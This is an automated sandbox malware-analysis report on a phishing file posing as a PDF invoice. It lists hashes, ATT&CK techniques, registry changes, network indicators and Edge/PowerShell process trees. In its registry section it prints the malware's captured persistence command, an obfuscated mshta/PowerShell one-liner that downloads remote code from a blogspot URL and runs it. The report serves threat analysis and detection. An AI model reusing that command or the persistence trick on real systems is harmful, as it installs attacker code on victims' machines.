bac254771e7542c3db185f2f91a861bc9790d82cf4e64e77568346594fc40c72

Analysis

max time kernel
176s
max time network
195s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
09-05-2024 11:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

lnvoice-1205700442.pdf
Size

51KB
MD5

00ddbd030ad7e3937c2bd2a3b9eb5bc8
SHA1

8c491b21744426105813f2d70d59da67a420662e
SHA256

bac254771e7542c3db185f2f91a861bc9790d82cf4e64e77568346594fc40c72
SHA512

44f30df5a027b9087a34e14b848f63811f5895e099b2db163852d23ebe7265d467329dcc4e47e562b5b10c0948d4195e2ed499130b61a5595008ff32cc7de585
SSDEEP

384:qpy6SDvX7hWFcTPm/K7Uzzzzzzzzzzzzzzzzz3QznMlMNRwH7Tx6yso:qpy6ST7hWGTO/KNznMlUwHfj

Score

8^/10

agilenet execution persistence

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

66 6076 powershell.exe
67 6076 powershell.exe
68 6076 powershell.exe

flow	pid	process
66	6076	powershell.exe
67	6076	powershell.exe
68	6076	powershell.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

Processes:

resource	yara_rule
behavioral2/memory/4224-588-0x0000000000F00000-0x0000000000F86000-memory.dmp	agile_net

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Run\Bookignr1 = "schtasks /run /tn Bookignr1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Run\Bookignr2 = "mshta \"javascript:zo=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm htlmay5-24.blogspot.com/hehe \| iex);Start-Sleep -Seconds 5;','run']; ep=[zo[3],zo[0],zo[1],zo[2]]; new ActiveXObject(ep[2])[ep[0]](ep[3], 0, true);close();new ActiveXObject(ep[1]).DeleteFile(WScript.ScriptFullName);\"\n"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

1 cloudflare-ipfs.com
3 bitbucket.org
4 cloudflare-ipfs.com
68 bitbucket.org
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
7 api.ipify.org
71 api.ipify.org

flow	ioc
1	cloudflare-ipfs.com
3	bitbucket.org
4	cloudflare-ipfs.com
68	bitbucket.org

flow	ioc
1	ip-api.com
7	api.ipify.org
71	api.ipify.org

Suspicious use of SetThreadContext 6 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 6076 set thread context of 4224	6076	powershell.exe	RegSvcs.exe
PID 6076 set thread context of 5404	6076	powershell.exe	RegSvcs.exe
PID 6076 set thread context of 1792	6076	powershell.exe	RegSvcs.exe
PID 6076 set thread context of 5752	6076	powershell.exe	RegSvcs.exe
PID 6076 set thread context of 5520	6076	powershell.exe	Msbuild.exe
PID 6076 set thread context of 5572	6076	powershell.exe	Msbuild.exe

Drops file in Windows directory 1 IoCs

Processes:

dw20.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Checks processor information in registry 2 TTPs 30 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exedw20.exedw20.exedw20.exeAcroRd32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	dw20.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dw20.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

dw20.exedw20.exedw20.exemsedge.exedw20.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings	msedge.exe

NTFS ADS 2 IoCs

Processes:

msedge.exemsedge.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 30883.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\lnvoice-1205700442.pdf .js:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

Processes:

msedge.exemsedge.exemsedge.exeidentity_helper.exeAcroRd32.exemsedge.exepowershell.exemsedge.exeRegSvcs.exe

pid	process
5064	msedge.exe
5064	msedge.exe
684	msedge.exe
684	msedge.exe
4848	msedge.exe
4848	msedge.exe
3092	identity_helper.exe
3092	identity_helper.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
4392	AcroRd32.exe
5696	msedge.exe
5696	msedge.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
1992	msedge.exe
1992	msedge.exe
1992	msedge.exe
1992	msedge.exe
4224	RegSvcs.exe
4224	RegSvcs.exe
4224	RegSvcs.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

Processes:

msedge.exe

pid	process
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exedw20.exedw20.exedw20.exedw20.exeRegSvcs.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	6076	powershell.exe
Token: SeRestorePrivilege	1660	dw20.exe
Token: SeBackupPrivilege	1660	dw20.exe
Token: SeBackupPrivilege	1660	dw20.exe
Token: SeBackupPrivilege	1660	dw20.exe
Token: SeBackupPrivilege	5252	dw20.exe
Token: SeBackupPrivilege	5252	dw20.exe
Token: SeBackupPrivilege	1660	dw20.exe
Token: SeBackupPrivilege	5268	dw20.exe
Token: SeBackupPrivilege	5268	dw20.exe
Token: SeBackupPrivilege	5276	dw20.exe
Token: SeBackupPrivilege	5276	dw20.exe
Token: SeDebugPrivilege	5404	RegSvcs.exe
Token: SeDebugPrivilege	4224	RegSvcs.exe
Token: SeIncreaseQuotaPrivilege	6076	powershell.exe
Token: SeSecurityPrivilege	6076	powershell.exe
Token: SeTakeOwnershipPrivilege	6076	powershell.exe
Token: SeLoadDriverPrivilege	6076	powershell.exe
Token: SeSystemProfilePrivilege	6076	powershell.exe
Token: SeSystemtimePrivilege	6076	powershell.exe
Token: SeProfSingleProcessPrivilege	6076	powershell.exe
Token: SeIncBasePriorityPrivilege	6076	powershell.exe
Token: SeCreatePagefilePrivilege	6076	powershell.exe
Token: SeBackupPrivilege	6076	powershell.exe
Token: SeRestorePrivilege	6076	powershell.exe
Token: SeShutdownPrivilege	6076	powershell.exe
Token: SeDebugPrivilege	6076	powershell.exe
Token: SeSystemEnvironmentPrivilege	6076	powershell.exe
Token: SeRemoteShutdownPrivilege	6076	powershell.exe
Token: SeUndockPrivilege	6076	powershell.exe
Token: SeManageVolumePrivilege	6076	powershell.exe
Token: 33	6076	powershell.exe
Token: 34	6076	powershell.exe
Token: 35	6076	powershell.exe
Token: 36	6076	powershell.exe
Token: SeIncreaseQuotaPrivilege	6076	powershell.exe
Token: SeSecurityPrivilege	6076	powershell.exe
Token: SeTakeOwnershipPrivilege	6076	powershell.exe
Token: SeLoadDriverPrivilege	6076	powershell.exe
Token: SeSystemProfilePrivilege	6076	powershell.exe
Token: SeSystemtimePrivilege	6076	powershell.exe
Token: SeProfSingleProcessPrivilege	6076	powershell.exe
Token: SeIncBasePriorityPrivilege	6076	powershell.exe
Token: SeCreatePagefilePrivilege	6076	powershell.exe
Token: SeBackupPrivilege	6076	powershell.exe
Token: SeRestorePrivilege	6076	powershell.exe
Token: SeShutdownPrivilege	6076	powershell.exe
Token: SeDebugPrivilege	6076	powershell.exe
Token: SeSystemEnvironmentPrivilege	6076	powershell.exe
Token: SeRemoteShutdownPrivilege	6076	powershell.exe
Token: SeUndockPrivilege	6076	powershell.exe
Token: SeManageVolumePrivilege	6076	powershell.exe
Token: 33	6076	powershell.exe
Token: 34	6076	powershell.exe
Token: 35	6076	powershell.exe
Token: 36	6076	powershell.exe
Token: SeIncreaseQuotaPrivilege	6076	powershell.exe
Token: SeSecurityPrivilege	6076	powershell.exe
Token: SeTakeOwnershipPrivilege	6076	powershell.exe
Token: SeLoadDriverPrivilege	6076	powershell.exe
Token: SeSystemProfilePrivilege	6076	powershell.exe
Token: SeSystemtimePrivilege	6076	powershell.exe
Token: SeProfSingleProcessPrivilege	6076	powershell.exe
Token: SeIncBasePriorityPrivilege	6076	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

Processes:

AcroRd32.exemsedge.exe

pid	process
4392	AcroRd32.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

Processes:

msedge.exe

pid	process
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe
684	msedge.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

AcroRd32.exe

pid process

4392 AcroRd32.exe
4392 AcroRd32.exe
4392 AcroRd32.exe
4392 AcroRd32.exe
4392 AcroRd32.exe
4392 AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

AcroRd32.exemsedge.exe

description	pid	process	target process
PID 4392 wrote to memory of 684	4392	AcroRd32.exe	msedge.exe
PID 4392 wrote to memory of 684	4392	AcroRd32.exe	msedge.exe
PID 684 wrote to memory of 2404	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 2404	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3464	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 5064	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 5064	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 1436	684	msedge.exe	msedge.exe

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\lnvoice-1205700442.pdf"
1⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4392

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cloudflare-ipfs.com/ipfs/QmQYUrUxxRhuhwHEkc88XfX9egpSpm3dJKbWa5LNwaFrzN
2⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffdd9103cb8,0x7ffdd9103cc8,0x7ffdd9103cd8
3⤵
PID:2404

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
3⤵
PID:3464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2656 /prefetch:8
3⤵
PID:1436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
3⤵
PID:4476

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
3⤵
PID:3128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5128 /prefetch:1
3⤵
PID:3340

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5372 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:1
3⤵
PID:1364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5816 /prefetch:1
3⤵
PID:3876

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3068 /prefetch:8
3⤵
PID:2076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
3⤵
PID:3604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
3⤵
PID:4960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3580 /prefetch:1
3⤵
PID:3656

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6316 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5860 /prefetch:1
3⤵
PID:1508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,4822068225566494144,7182855153908816134,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5944 /prefetch:1
3⤵
PID:660

